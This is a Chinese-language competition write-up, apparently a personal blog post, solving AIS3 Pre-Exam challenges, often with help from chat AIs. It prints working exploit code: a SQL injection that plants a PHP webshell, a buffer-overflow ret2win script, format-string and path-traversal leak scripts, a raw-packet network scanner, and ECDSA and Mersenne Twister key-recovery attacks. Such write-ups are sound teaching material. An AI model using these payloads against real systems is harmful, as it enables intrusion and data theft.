前言#
這是我靠 AI 打下 AIS3 MyFirstCTF / Pre-Exam 的心路歷程(?),最終在 Pre-Exam 中獲得第 3 名的佳績。
在 Tag 裡面我有加上 AI 的就代表是幾乎都是 AI 打出來的,跟 ChatGPT 或是 Gemini 把報錯訊息跟我的猜想一直丟給 AI 他就出來了。沒加上 AI 的 Tag 的話可能還是有跟 AI 激烈溝通,但是最後是自己手打出來的。
Web#
Tomorin db 🐧#
- 這題拿了個 First Blood

Explanation#
- 伺服器程式先註冊了兩條路由
http.Handle("/", http.FileServer(http.Dir("/app/Tomorin")))
http.HandleFunc("/flag", redirectHandler) // 302 → YouTube- 如果我們送出的 URL.Path 是
/./flag,他並不是以/flag開頭,因此/flag對不上- 落到最泛用的
/→ 交給 FileServer - FileServer 跑去翻
/app/Tomorin/flag,把 Flag 吐出來 - 記得要做 Encoding 將
.變成%2e,不然不會過
Solution#
curl http://chals1.ais3.org:30000/%2e/flag- Flag:
AIS3{G01ang_H2v3_a_c0O1_way!!!_Us3ing_C0NN3ct_M3Th07_L0l@T0m0r1n_1s_cute_D0_yo7_L0ve_t0MoRIN?}
Login Screen 1#
Explanation#
- 一開始以為是 SQL injection,跟 AI 討論許久後有成功用 UNION injection 打進去變成 Admin,但是名字跟
dashboard.php的這一段不一樣,導致一直吐不出 Flag 1
<?php
// if the user is admin, show this post
if ($_SESSION['username'] == "admin") { ?>
<div class='box'><strong>2025-05-05</strong><div id='post1' class='post'>Just watched this excellent technical breakdown: https://youtu.be/jWvuUeUyyKU - it's a must-see if you're into cybersecurity, reverse engineering, or low-level internals. The explanations are clear, insightful, and packed with practical takeaways. Highly recommended for anyone looking to deepen their understanding or just enjoy quality analysis.</div></div>;
<div class='box'><strong>2025-05-06</strong><div id='post2' class='post'><?= getenv('FLAG1') ?></div></div>;
<?php }
// if the user is guest, show this post
else {
echo "<div class='box'><strong>2025-05-05</strong><div id='post1' class='post'>Only admin and view the flag.</div></div>";
}
?>
- 原本的爆破腳本:
- 透過 UNION injection 將 2FA 跟 Password 的 bcrypt 塞成自己的,讓後面在驗證的時候直接去撈到這些參數,就能夠成功被驗證後登入。
#!/bin/bash
bcrypt='$2y$12$xCBlXjGSA.0Xi6fChoaAoOl7V5LbqgaajjKudvll0Ib/YNgZCrlNO'
curl -X POST http://login-screen.ctftime.uk:36368/index.php \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "username=' UNION SELECT 2,'admin','$bcrypt','133713' -- " \
--data "password=1" \
-c cookies.txt
curl -v -i -X POST http://login-screen.ctftime.uk:36368/2fa.php \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "code=133713" \
-b cookies.txt \
-c cookies.txt
curl http://login-screen.ctftime.uk:36368/dashboard.php \
-b cookies.txt- 登入進去後會看到自己的
username也被 UNION injection 汙染,導致不會將 Flag 成功吐出來:
<h2>Welcome, ' UNION SELECT 2,'admin','$2y$12$xCBlXjGSA.0Xi6fChoaAoOl7V5LbqgaajjKudvll0Ib/YNgZCrlNO','133713' -- !</h2>- 試了三個小時後沒結果,就跑去看看有沒有其他漏洞能鑽,找了一下發現在
docker-compose.yml裡面有這個
- ./cms/html/users.db:/var/www/html/users.db:ro- 於是我跑去戳了一下 URL:
http://login-screen.ctftime.uk:36368/users.db,發現能夠成功把users.db撈下來。裡面的Users長這樣:
sqlite> SELECT * FROM Users;
1|admin|$2y$10$Hf11AOUj8lw13DogTnS3aOvjD1hPnfsOx8qMKZzG8dGCWujtTRvBC|51756447753485459839
2|guest|$2y$10$/th4ch2sGdetYaEoNrkC7O5m2cvvKo.21EBLOweMlaqXuec6k8E1y|000000Solution#
- 用 hashcat 把 admin 的密碼爆破出來,發現也是
admin(能不能有創意一點= =) - 接著把 2FA 照著
51756447753485459839輸入後,就成功打出 Flag 了。 - Flag:
AIS3{1.Es55y_SQL_1nJ3ct10n_w1th_2fa_IuABDADGeP0}
Login Screen 2#
Explanation#
- 這題本來用 ChatGPT 打很久,可能打了一個小時以上。本來以為是要透過神奇的 SQL injection 把 Environment variable 撈出來,但是都沒有結果。
- 丟給 Gemini Pro 2.5 之後,一次他就打通了,好猛。以下是他的推理過程:
要取得 FLAG2,你需要利用在 index.php 登入頁面中存在的 SQL Injection 漏洞。儘管資料庫 users.db 是唯讀的,但你可以利用此漏洞在網站的根目錄下建立一個新的檔案,並寫入一個網頁後門 (webshell),從而執行任意伺服器指令來讀取環境變數 FLAG2。
問題的關鍵漏洞在於 index.php 檔案中處理使用者登入的部分。
// index.php
$username = $_POST['username'];
// ...
$stmt = $db->prepare("SELECT * FROM Users WHERE username = '$username'");
$result = $stmt->execute();
$user = $result->fetchArray();這段程式碼雖然使用了 $db->prepare(),但它錯誤地將使用者輸入的 $username 變數直接串接到 SQL 查詢字串中,而不是使用參數化查詢 (Parameterized Query)。這使得 username 欄位存在 SQL 注入的風險。
雖然 docker-compose.yml 的設定將 users.db 掛載為唯讀 (:ro),使你無法修改或新增資料庫內容,但 SQLite 的 ATTACH DATABASE 指令可以讓我們在伺服器檔案系統中建立一個全新的資料庫檔案。如果網頁伺服器運行的使用者 (如 www-data) 對網站目錄 (/var/www/html/) 具有寫入權限(這在 Docker 環境中很常見),我們就可以成功建立檔案。
Solution#
- 通過
admin的密碼驗證。 - 使用
ATTACH DATABASE建立一個名為shell.php的新資料庫檔案。 - 在
shell.php內建立一個資料表。 - 將 PHP webshell 的程式碼插入到該資料表中。
- 當 SQLite 將資料寫入
shell.php後,這個檔案的內容實質上就是你的 PHP webshell 程式碼,你可以透過瀏覽器存取它來執行指令。
- 建構 SQL 注入 Payload
在登入頁面 (
index.php) 的Username欄位中,輸入以下 SQL 注入 payload。請將其作為一行輸入。你需要知道admin的密碼才能成功登入。
admin'; ATTACH DATABASE 'shell.php' AS pwn; CREATE TABLE pwn.shell (payload TEXT); INSERT INTO pwn.shell (payload) VALUES ('<?php system($_GET["cmd"]); ?>'); --
admin': 用來閉合WHERE username = '...'中的單引號。;: SQL 指令分隔符。ATTACH DATABASE 'shell.php' AS pwn;: 建立一個名為shell.php的檔案,並在這次資料庫連線中將其命名為pwn。CREATE TABLE pwn.shell (payload TEXT);: 在pwn資料庫 (也就是shell.php檔案) 中建立一個名為shell的資料表。INSERT INTO pwn.shell (payload) VALUES ('<?php system($_GET["cmd"]); ?>');: 將一個簡單的 PHP webshell(<?php system($_GET["cmd"]); ?>)插入到pwn.shell表中。--: 將原始查詢語句後面的部分註解掉,確保語法正確。
- 執行指令並讀取 Flag
當你點擊登入後,伺服器會執行你的 SQL payload,並在網站根目錄下建立 shell.php 檔案。即使頁面跳轉到 2FA 頁面,檔案也已經建立成功。
現在,直接在瀏覽器中存取你上傳的 webshell,並透過 cmd 參數傳遞你想要執行的指令。為了讀取所有環境變數,請使用 env 指令:
http://login-screen.ctftime.uk:36368/shell.php?cmd=env
- Flag:
AIS3{2.Nyan_Nyan_File_upload_jWvuUeUyyKU}
Pwn#
Welcome to the World of Ave Mujica🌙#
Explanation#
- 把 binary 丟到 IDA 裡面做分析,找一下會發現
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[143]; // [rsp+0h] [rbp-A0h] BYREF
char s[8]; // [rsp+8Fh] [rbp-11h] BYREF
unsigned __int8 int8; // [rsp+97h] [rbp-9h]
char *v7; // [rsp+98h] [rbp-8h]
setvbuf(stdin, 0, 2, 0);
setvbuf(_bss_start, 0, 2, 0);
printf("\x1B[2J\x1B[1;1H");
printf("\x1B[31m");
printf("%s", (const char *)banner);
puts(&byte_402A78);
puts(&byte_402AB8);
fgets(s, 8, stdin);
v7 = strchr(s, 10);
if ( v7 )
*v7 = 0;
if ( strcmp(s, "yes") )
{
puts(&byte_402AE8);
exit(1);
}
printf(&byte_402B20);
int8 = read_int8();
printf(&byte_402B41);
read(0, buf, int8);
return 0;
}- 能看到一開始輸入要輸入
yes才能夠進到後面的東西,不然會直接被 return - 這邊可以看出
buf的起始位置在$ebp的 160 bytes 前面 ([rbp-A0h])- 所以要改寫 return address 就要多寫 8 個 byte,也就是 168 bytes。
- 接下來的這個 return address 的 8 bytes 需要塞到能拿到 shell 的 address,所以需要再繼續翻翻找找。
int Welcome_to_the_world_of_Ave_Mujica()
{
puts(&s);
puts(&byte_402990);
puts(&byte_4029B4);
puts(&byte_4029C3);
puts(&byte_4029D2);
puts(&byte_4029E1);
puts(&byte_4029FC);
puts(&byte_402A15);
return execve("/bin/sh", 0, 0);
}- 翻一翻能夠找到這個 function,並且能看到 address 在
0x401256
__int64 read_int8()
{
char buf[4]; // [rsp+8h] [rbp-8h] BYREF
int v2; // [rsp+Ch] [rbp-4h]
read(0, buf, 4u);
v2 = atoi(buf);
if ( v2 > 127 )
{
puts(&byte_402A38);
exit(1);
}
return (unsigned int)v2;
}- 如果在剛剛那邊直接輸入長度是 176,會因為這個
read_int8()被擋掉。但是能看到他是透過v2 > 127來比對的,所以能夠透過將buf設定成-1就可以繞過。
Solution#
#!/usr/bin/env python3
from pwn import *
import sys
HOST = 'chals1.ais3.org'
PORT = 60491
context.binary = elf = ELF('./chall')
context.log_level = 'debug'
# 從 buf 開始到 saved RIP 的偏移
OFFSET = 168
WIN = elf.sym['Welcome_to_the_world_of_Ave_Mujica']
# =====================
def exploit(io):
io.recvuntil(b'?')
io.sendline(b'yes')
io.recvuntil(b':')
# 填 -1 讓 read() 讀 255,但後面我們只會送我們想要的 bytes
io.sendline(b'-1')
io.recvuntil(b':')
payload = flat(
b'A' * OFFSET,
WIN
)
io.send(payload)
io.interactive()
if __name__ == '__main__':
if len(sys.argv) > 1 and sys.argv[1] == 'local':
io = process('./chall')
else:
io = remote(HOST, PORT)
exploit(io)- Flag:
AIS3{Ave Mujica🎭將奇蹟帶入日常中🛐(Fortuna💵💵💵)...Ave Mujica🎭為你獻上慈悲憐憫✝️(Lacrima😭🥲💦)..._73d731ea7426df9733480c88e0b2da82}
Format Number#
Explanation#
- 這題幾乎都是 AI 打的,不過看到題目知道是 format string attack。
| 位置 | 原始 C 程式碼 | 說明 |
|---|---|---|
| ① | strcpy(buffer, "Format number : %3$"); | 已經放入%3$,但後面沒有型別字母,下一個字元就會被當成 format-specifier。 |
| ② | strcat(buffer, format);strcat(buffer, "d\n"); |
|
因此最終格式串長這樣(以 slot 42 為例):
Format number : %3$%%42$d\n
└─┘└──────┘
① ②- 第一段
%3$%→ 把第 3 個參數 (rand()的結果) 依%型別輸出「一個實際的%」,同時丟棄數值 - 第二段
%42$d→ 真正把第 42 個 stack slot 當作int印出來
只要保證「
%<idx>$d」能完整形成,glibc 便會幫我們把任意棧位的 4 byte 整數輸出。
為何 payload = "%%{idx}$" 能通過 check_format()#
check_format()只允許 數字 (0–9) 與標點payload使用的%% % $都屬於標點,完全合法- 雙
%會被 printf 解析為 單一字面量%,成功「吃掉」前面的%3$
腳本運作流程#
逐 slot 試探
for idx in range(20, 59): send : "%%{idx}$" 伺服器 : printf("Format number : %3$%%{idx}$d\n", ...)擷取行尾十進位整數
m = re.search(r"(-?\d+)$", line)這就是第
idx個參數的 32-bit 整數值。轉成小端並取最低 1 byte
- flag 先被
read()到char flag[0x100],以 小端 4-byte 一段躺在 stack - 直接
v & 0xFF就能得到對應 ASCII 字元
- flag 先被
串接所有可列印 slot
flag = "".join(chr(v & 0xff) for _, v in data)
為什麼範圍設 20-58#
前 3 個參數已被
printf消耗%1$→"Welcome"字串指標%2$→"~~~"指標%3$→rand()的數字
往後是 call frame、環境變數指標…再往下就是
flag[0x100]實測 20 開始就能碰到 flag,掃到 58 足以覆蓋整串(144 bytes/36 slots)
Solution#
#!/usr/bin/env python3
from pwn import remote
import re, struct
HOST, PORT = "chals1.ais3.org", 50960
FLAG_SLOTS = list(range(20, 59))
def leak_slot(idx):
io = remote(HOST, PORT)
io.recvuntil(b"What format do you want ? ")
payload = f"%%{idx}$".encode() # e.g. b"%%42$"
io.sendline(payload)
line = io.recvline(timeout=2).decode(errors="ignore").strip()
io.close()
print(f"[slot {idx:2d}] raw: {line!r}")
m = re.search(r"(-?\d+)$", line)
if not m:
print(" → no number")
return None
val = int(m.group(1))
print(f" → {val}")
return val
def to_bytes_le(x):
return struct.pack("<I", x & 0xFFFFFFFF)
if __name__ == "__main__":
data = []
for idx in FLAG_SLOTS:
v = leak_slot(idx)
if v is not None:
data.append((idx, v))
flag = "".join(chr(v & 0xff) for _, v in data)
print(f"\nflag: {flag!r}")- Flag:
AIS3{S1d3_ch@nn3l_0n_fOrM47_strln&_!!!}
Misc#
Welcome#
Solution#
複製貼上會出問題,要用自己手動打 (雖然我一看到就手動打就是了)
- Flag:
AIS3{Welcome_And_Enjoy_The_CTF_!}
Ramen CTF#
Explanation#
- 突破點在這張發票上

- 可以知道統編是
3478592?- 去財政部找統編,最後只有
34785923是找的到商家的。 
- 去財政部找統編,最後只有
- 把地址丟到 Google 搜尋,能夠找到店家
樂山溫泉拉麵 - 大部分人應該都被 Google 菜單的第一張照片給騙了,因為上面所有拉麵輸入過後也沒辦法拿到分數。

- 透過 QR code 掃描,能夠得知左邊那個 QR code 有訊息
蝦拉MF1687991111404137095000001f4000001f40000000034785923VG9sG89nFznfPnKYFRlsoA==:**********:2:2:1:蝦拉
- 跑去翻新一點的菜單,會看到點餐機上面有個單純的
蝦拉麵
Solution#
- Flag:
AIS3{樂山溫泉拉麵:蝦拉麵}
AIS3 Tiny Server - Web / Misc#
Explanation#
- 這題主要就是用 Path Traversal 打,就能夠打通。
- 以下是 ChatGPT 的解釋
快速拿到 flag 的核心流程#
路徑穿越(Directory Traversal)
- 伺服器對 URL 只去掉最前面的
/,沒有過濾..。 - 傳送
..%2f(%2f=/)即可往上一層目錄。重複多次直到抵達真正的根目錄/。
- 伺服器對 URL 只去掉最前面的
目錄列舉(Directory Listing)
- 進入目錄時,程式會直接用
readdir()把檔案清單組成 HTML 回傳。 - 因為「沒做存取控制」,到達
/後就能看到整個檔案系統的目錄與檔名。
- 進入目錄時,程式會直接用
找到旗子檔名
- 在根目錄清單裡搜尋
readable_flag_前綴的檔名,例如readable_flag_a1b2c3…。
- 在根目錄清單裡搜尋
直接讀取檔案
- 用同樣的穿越路徑 + 旗子檔名請求,伺服器會回傳檔案內容,flag 就顯示在響應正文。
一句話結論: 利用「
..%2f路徑穿越 + 目錄列舉」直接走到檔案系統根目錄,把readable_flag_*讀出來。
Solution#
#!/usr/bin/env python3
import re, requests, sys
HOST = 'chals1.ais3.org'
PORT = 20963
BASE = f'http://{HOST}:{PORT}/'
session = requests.Session()
# 1. 找到能列出根目錄的位置
depth = 0
while depth < 10:
path = '..%2f' * depth
r = session.get(BASE + path)
if any(x in r.text for x in ('bin/', 'etc/', 'proc/')):
print(f'[+] Reached / with depth={depth}')
break
depth += 1
else:
print('[-] Failed to reach /, increase depth limit')
sys.exit(1)
# 2. 找 flag 檔名
flag_re = re.search(r'readable_flag_[^"/]+', r.text)
if not flag_re:
print('[-] readable_flag file not found in /')
sys.exit(1)
flag_name = flag_re.group(0)
print(f'[+] Found flag file: {flag_name}')
# 3. 讀取 flag
flag_url = BASE + ('..%2f' * depth) + flag_name
flag = session.get(flag_url).text.strip()
print(f'[FLAG] {flag}')- Flag:
AIS3{tInY_We8_5erv3R_w1TH_fIL3_BROWs1n9_As_@_fe4tUrE}
Tcp Tunnel#
- 這題拿了個 First Blood

Explanation#
- 一開始先用 Wireshark 抓封包,會發現 Server 吐回來的 TCP payload 長得有點奇怪

- 丟到 Packet Decoder 能夠知道這是一個 ICMP Echo(ping) request
- 結合主辦方的提示,能夠知道可能是需要進行掃網路的動作。
- 之後丟給 chatGPT 溝通一下,得知可以透過 ICMP ping sweep 掃整個網路的機器。然後再對掃到的機器做常用的 port scan
- 最後掃到 port 80 是開著的,對他送 HTTP request 就能獲得 flag。
以下是 chatGPT 的簡介:
🚩 TCP Tunnel 解題流程簡介#
這題的核心在於透過一條 TCP 連線,傳送「封裝好的原始 IP 封包」,與一個虛擬網路互動,藉此探索服務並取得 flag。
🧱 建立 TCP 隧道#
- 題目提供一條 TCP 通道
chals1.ais3.org:29997 - 連線後伺服器會送來一顆封裝在 TCP 中的 raw IP 封包
- 從封包中取得自身 IP(通常是
10.10.X.Y)
🧠 回應 ICMP Echo Request#
- 伺服器會先發一顆 ICMP echo-request(ping)
- 必須組出正確的 echo-reply 封包回送
- 成功後可持續通訊,避免伺服器關閉連線
🔍 掃描虛擬網路#
- 根據自己的 IP,例如
10.10.55.43,掃整個10.10.55.0/24 - 使用 ICMP 逐一 ping,找出哪些主機存在
🌐 掃描 TCP 埠與取得 flag#
- 對活主機進行 TCP SYN 掃描
- 找出開啟的常見 port(如 80)
- 手動進行 TCP 三向交握並送出 HTTP GET
- 從回應中成功取得 flag!
Solution#
#!/usr/bin/env python3
from pwn import remote
from scapy.all import IP, ICMP, TCP, RandShort
import select, time, random
HOST, PORT = "chals1.ais3.org", 29997
r = remote(HOST, PORT)
def recvn(n):
data = b''
while len(data) < n:
chunk = r.recv(n - len(data))
if not chunk:
raise EOFError
data += chunk
return data
def recv_ip(timeout=1.0):
ready, _, _ = select.select([r.sock], [], [], timeout)
if not ready:
return None
ip_hdr = recvn(20)
total_len = int.from_bytes(ip_hdr[2:4], 'big')
return IP(ip_hdr + recvn(total_len - 20))
def send_ip(pkt):
r.send(bytes(pkt)) # scapy 會自動重算 checksum
# ─────────────────── 第一步:拿第一顆封包,取得我的 IP
first_pkt = recv_ip()
assert ICMP in first_pkt and first_pkt[ICMP].type == 8
MY_IP = first_pkt.dst
SUBNET = ".".join(MY_IP.split('.')[:3]) + "."
print(f"[+] My tunnel IP: {MY_IP}")
# 回 Echo-Reply
echo = first_pkt[ICMP]
rep = IP(src=first_pkt.dst, dst=first_pkt.src, ttl=64) / \
ICMP(type=0, id=echo.id, seq=echo.seq) / first_pkt[ICMP].payload
send_ip(rep)
# ─────────────────── 第二步:ping-sweep 1–254
alive = set()
print("[*] Start ICMP ping sweep...")
for i in range(1, 255):
target = f"{SUBNET}{i}"
if target == MY_IP:
continue
pkt = IP(src=MY_IP, dst=target) / ICMP(id=0x1234, seq=i) / b'PING'
send_ip(pkt)
t_end = time.time() + 2
while time.time() < t_end:
pkt = recv_ip(timeout=t_end - time.time())
if not pkt:
continue
if ICMP in pkt and pkt[ICMP].type == 8 and pkt.dst == MY_IP:
# 回 keep-alive
e = pkt[ICMP]
rep = IP(src=pkt.dst, dst=pkt.src, ttl=64)/ICMP(type=0, id=e.id, seq=e.seq)/e.payload
send_ip(rep)
elif ICMP in pkt and pkt[ICMP].type == 0 and pkt.dst == MY_IP:
alive.add(pkt.src)
print("[+] Hosts up:")
for ip in sorted(alive):
print(" ", ip)
# ─────────────────── 第三步:對每台 host 掃 TCP port
PORTS = [22, 23, 25, 53, 80, 110, 143, 443, 3306, 8080]
print("[*] Start TCP SYN scan on common ports...")
probes = {}
for ip in alive:
for port in PORTS:
sport = random.randint(1024, 65535)
pkt = IP(src=MY_IP, dst=ip)/TCP(sport=sport, dport=port, flags="S", seq=random.randint(0, 2**32-1))
send_ip(pkt)
probes[(ip, sport)] = port
open_ports = {}
t_end = time.time() + 3
while time.time() < t_end:
pkt = recv_ip(timeout=t_end - time.time())
if not pkt:
continue
if ICMP in pkt and pkt[ICMP].type == 8 and pkt.dst == MY_IP:
rep = IP(src=pkt.dst, dst=pkt.src, ttl=64)/ICMP(type=0, id=pkt[ICMP].id, seq=pkt[ICMP].seq)/pkt[ICMP].payload
send_ip(rep)
elif TCP in pkt and pkt.dst == MY_IP:
key = (pkt.src, pkt[TCP].dport)
if key in probes and pkt[TCP].flags & 0x12 == 0x12: # SYN-ACK
open_ports.setdefault(pkt.src, []).append(probes[key])
print("[+] Open ports:")
if not open_ports:
print(" (none)")
else:
for ip, ports in open_ports.items():
print(f" {ip}: {', '.join(map(str, ports))} OPEN")
print("[*] You can now manually probe these IP:ports for flags.")
# ─────────────────── 第四步:對開 port 80 的主機發送 HTTP GET
print("[*] Start HTTP GET / to open port 80 hosts...")
for ip, ports in open_ports.items():
if 80 not in ports:
continue
sport = random.randint(1024, 65535)
seq = random.randint(0, 2**32 - 1)
print(f"[*] Connecting to {ip}:80")
# 1. 送 SYN
syn = IP(src=MY_IP, dst=ip)/TCP(sport=sport, dport=80, flags="S", seq=seq)
send_ip(syn)
# 2. 收 SYN-ACK
ack_num = None
while True:
pkt = recv_ip(timeout=1.0)
if not pkt:
continue
if ICMP in pkt and pkt[ICMP].type == 8 and pkt.dst == MY_IP:
e = pkt[ICMP]
rep = IP(src=pkt.dst, dst=pkt.src, ttl=64)/ICMP(type=0, id=e.id, seq=e.seq)/e.payload
send_ip(rep)
elif TCP in pkt and pkt[IP].src == ip and pkt[TCP].dport == sport:
if pkt[TCP].flags & 0x12 == 0x12: # SYN-ACK
ack_num = pkt[TCP].seq + 1
break
# 3. 回 ACK
ack = IP(src=MY_IP, dst=ip)/TCP(sport=sport, dport=80, flags="A", seq=seq+1, ack=ack_num)
send_ip(ack)
# 4. 傳送 HTTP GET
http = b"GET / HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n" % ip.encode()
psh = IP(src=MY_IP, dst=ip)/TCP(sport=sport, dport=80, flags="PA", seq=seq+1, ack=ack_num)/http
send_ip(psh)
# 5. 收 HTTP 回應
print(f"[+] Sent HTTP GET to {ip}, waiting for reply...")
response_data = b""
end_time = time.time() + 3
while time.time() < end_time:
pkt = recv_ip(timeout=0.5)
if not pkt:
continue
if ICMP in pkt and pkt[ICMP].type == 8 and pkt.dst == MY_IP:
e = pkt[ICMP]
rep = IP(src=pkt.dst, dst=pkt.src, ttl=64)/ICMP(type=0, id=e.id, seq=e.seq)/e.payload
send_ip(rep)
elif TCP in pkt and pkt[IP].src == ip and pkt[TCP].dport == sport:
if pkt[TCP].payload:
response_data += bytes(pkt[TCP].payload)
print(f"[+] Response from {ip}:\n")
try:
print(response_data.decode(errors="ignore"))
except Exception as e:
print(f"[!] Failed to decode response: {e}")- Flag:
AIS3{C0nnect_7cpTunnel_4nd_4cc3p7_w3b_serv1c3}
Crypto#
SlowECDSA#
Explanation#
- 這題是 chatGPT 打出來的,丟給他跑一跑就跑出來了。以下是他的解釋:
🔐 AIS3 SlowECDSA 解題概述#
這題是針對 ECDSA (Elliptic Curve Digital Signature Algorithm) 的簽章漏洞利用題,核心問題在於簽章時所使用的隨機數 k 並不安全。以下是解題的重點整理:
📉 問題核心:使用了 LCG 當作 nonce#
程式中使用了如下的 Linear Congruential Generator (LCG) 來產生每次簽章用的隨機數 k:
k = (a * k_prev + c) % m這代表每次簽名所用的 k 值具有線性關係,而且是可預測的。這會導致以下問題:
- 簽名的
r和s值與k相關。 - 如果我們可以取得兩組簽名(使用相關的
k),且哈希值相同,就能透過公式還原私鑰d!
✍️ 攻擊步驟#
取得兩筆對相同訊息的簽名資料: 題目中
get_example每次都會對"example_msg"簽名,我們可以拿到(r1, s1)和(r2, s2)。因為
k有線性關係,代入 ECDSA 公式可以得到一個一次方程式,解出私鑰d:$$ d = \frac{c + a \cdot h \cdot s_1^{-1} - h \cdot s_2^{-1}}{r_2 \cdot s_2^{-1} - a \cdot r_1 \cdot s_1^{-1}} \mod n $$
取得
d後,我們就能對任何訊息簽名,包含"give_me_flag"。使用 forge 的
(r, s)送到 verify,即可通過驗證,取得 flag。
✅ 解題技巧總結#
- 千萬不能讓 nonce
k重複或相關! - ECDSA 的安全性極度仰賴
k的隨機性。 - 若能取得多個相同訊息的簽章,且
k有關聯性,幾乎一定能還原出私鑰。
Solution#
from pwn import remote
from ecdsa import NIST192p, ellipticcurve
from Crypto.Hash import SHA1
from ecdsa.util import string_to_number, number_to_string, randrange_from_seed__trytryagain
a = 1103515245
c = 12345
curve = NIST192p
n = curve.order
G = curve.generator
def h(msg):
return int.from_bytes(SHA1.new(msg).digest(), 'big') % n
def modinv(x): # python ≥3.8
return pow(x, -1, n)
r = remote("chals1.ais3.org", 19000)
def grab():
r.sendlineafter(b"option:", b"get_example")
r.recvuntil(b"r: ")
r1 = int(r.recvline().strip(), 16)
r.recvuntil(b"s: ")
s1 = int(r.recvline().strip(), 16)
return r1, s1
# two signatures on the same message
r1, s1 = grab()
r2, s2 = grab()
h_val = h(b"example_msg")
den = (r2 * modinv(s2) - a * r1 * modinv(s1)) % n
num = (c + a * h_val * modinv(s1) - h_val * modinv(s2)) % n
d = (num * modinv(den)) % n # secret key recovered!
# forge signature for give_me_flag
msg = b"give_me_flag"
k = 1 # any non-zero nonce works
R = k * G
r_sig = R.x() % n
s_sig = (modinv(k) * (h(msg) + r_sig * d)) % n
# send it back
r.sendlineafter(b"option:", b"verify")
r.sendlineafter(b"message:", msg.decode().encode())
r.sendlineafter(b"r (hex):", hex(r_sig).encode())
r.sendlineafter(b"s (hex):", hex(s_sig).encode())
r.interactive()- Flag:
AIS3{Aff1n3_nounc3s_c@N_bE_broke_ezily...}
Stream#
Explanation#
- 這題是 chatGPT 打出來的,以下是他的解釋:
題目核心觀察#
- 每一行輸出都是
sha512(隨機 1 byte)的 512 bit 雜湊值,與一個 256-bit 隨機數r的平方r²做 XOR。 - 雜湊輸入只有 0-255 共 256 種可能,暴力嘗試即可確定雜湊值;一旦找出正確雜湊,
c ⊕ h = r²便能算得平方數。 - Python
random.getrandbits(256)連續呼叫時,其 8 × 32-bit 輸出來自同一個 MT19937,能被 randcrack 還原。
邏輯拆解與實作流程#
讀取 81 行十六進位字串 ➜ 轉成
int。第 0–77 行(共 78 行)
- 列舉 256 個 1 byte 值,計算雜湊並 XOR,檢查結果是否為完全平方。
- 取平方根得 256-bit
r,依 CPython 高位在前→randcrack低位在前的順序,拆成 8 個 32-bit word 餵給RandCrack.submit()。 - 78 行 × 8 word = 624 word,剛好重建 MT19937 內部狀態。
第 78、79 行
- 這兩行產生的 16 word 只是消耗 PRNG 輸出,直接呼叫
rc_bits(…,32)丟棄。
- 這兩行產生的 16 word 只是消耗 PRNG 輸出,直接呼叫
預測下一個 256-bit(旗標那一行用到的
r_flag)。解密旗標
flag_int = 最後一行 ⊕ (r_flag²)- 轉 bytes ➜ UTF-8 解碼,即得
AIS3{…}。
使用到的關鍵知識#
- 雜湊逆向(有限域暴力):輸入空間僅 256,對 SHA-512 可行。
- 整數平方判定:
math.isqrt(n)**2 == n能 O(1) 驗證完全平方並取平方根。 - Python
random結構:getrandbits(256)依序吐出 8 個 32-bit,大端序排列。 - MT19937 狀態復原:需 624 個 32-bit 輸出,使用
randcrack套件自動完成。 - 位運算 / XOR 與 加密常識:
m ⊕ k = c⇒c ⊕ k = m。 - 編碼處理:
int.to_bytes與 UTF-8 解碼取回可讀旗標字串。
最終成果#
短短十來秒即可從題目輸出的 81 行十六進位數字中,自動還原出完整旗標 AIS3{…},驗證了 MT19937 在不當使用時的可預測性。
Solution#
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
solve_flag.py – 從 81 行十六進位輸出中還原 AIS3 旗標
使用方式:
python3 solve_flag.py < output.txt
"""
import hashlib, math, sys
from randcrack import RandCrack
# -------- 小工具 -------- #
def is_square(n: int):
r = math.isqrt(n)
return r * r == n, r
# randcrack 版本差異:predict_getrandbits() vs getrandbits()
def rc_bits(rc, k):
return rc.predict_getrandbits(k) if hasattr(rc, "predict_getrandbits") else rc.getrandbits(k)
def submit_r(rc, r, msb_first=True):
"""把 256-bit r 拆成 8 個 32-bit 丟進 randcrack
msb_first=True 時,先交付最高位 word (CPython 的順序)"""
w = r.to_bytes(32, "big")
idxs = range(8) if msb_first else reversed(range(8))
for i in idxs:
rc.submit(int.from_bytes(w[i*4:i*4+4], "big"))
# -------- 讀檔 -------- #
C = [int(line.strip(), 16) for line in sys.stdin if line.strip()]
if len(C) != 81:
sys.exit(f"❌ 需要 81 行,實際 {len(C)} 行")
# -------- 第 0–77 行 → 收集 624 個 32-bit 亂數 -------- #
rc = RandCrack()
for c in C[:78]: # 78 組 × 8 word = 624
for b in range(256): # SHA-512(1 byte) 暴力
h = hashlib.sha512(bytes([b])).digest()
s = c ^ int.from_bytes(h, "big")
ok, r = is_square(s)
if ok and r.bit_length() <= 256:
submit_r(rc, r, msb_first=False) # CPython 順序
break
else:
sys.exit("❌ 某行找不到平方根,檔案可能被改動?")
# -------- 跳過第 78、79 行用掉的 16 個 word -------- #
for _ in range(16):
rc_bits(rc, 32) # 每次取 32-bit 剛好把 word 吃掉
# -------- 產生第 80 組 (= 加密 flag 的那組) -------- #
r_flag = rc_bits(rc, 256)
# -------- 解密 & 印旗標 -------- #
flag_int = C[-1] ^ (r_flag ** 2)
flag_bytes = flag_int.to_bytes((flag_int.bit_length() + 7) // 8, "big")
try:
print(flag_bytes.decode())
except UnicodeDecodeError:
print("FLAG bytes:", flag_bytes)- Flag:
AIS3{no_more_junks...plz}
Hill#
Explanation#
- 這題是 chatGPT 打出來的,以下是他的介紹:
題目概念#
這題把字串分成 8 位元組區塊,在有限域 \(\mathbb{F}_{251}\) 下做 Hill 加密:
$$ \mathbf c_0 = A\mathbf m_0,\qquad \mathbf c_i = A\mathbf m_i + B\mathbf m_{i-1};(i\ge1) $$
伺服器先印出所有旗標密文區塊,接著等使用者輸入一段明文並回傳對應密文。
攻擊核心#
選擇明文
用可列印字元組成 baseline 向量 \(\mathbf v=(48,\dots,48)\)
送出下列 18 個區塊:
- \(\mathbf v,;\mathbf v\)
- 對每個軸 \(k\in0..7\):\(\mathbf v+\delta_k,;\mathbf v\)
共兩輪密文:
- 第一輪 → 旗標
- 第二輪 → 還原用的探測密文
抽出矩陣 \(A,B\)
從第 0、1 行得到 \(A\mathbf v,;(A+B)\mathbf v\),可算出 \(B\mathbf v\)。
對每個 \(k\):
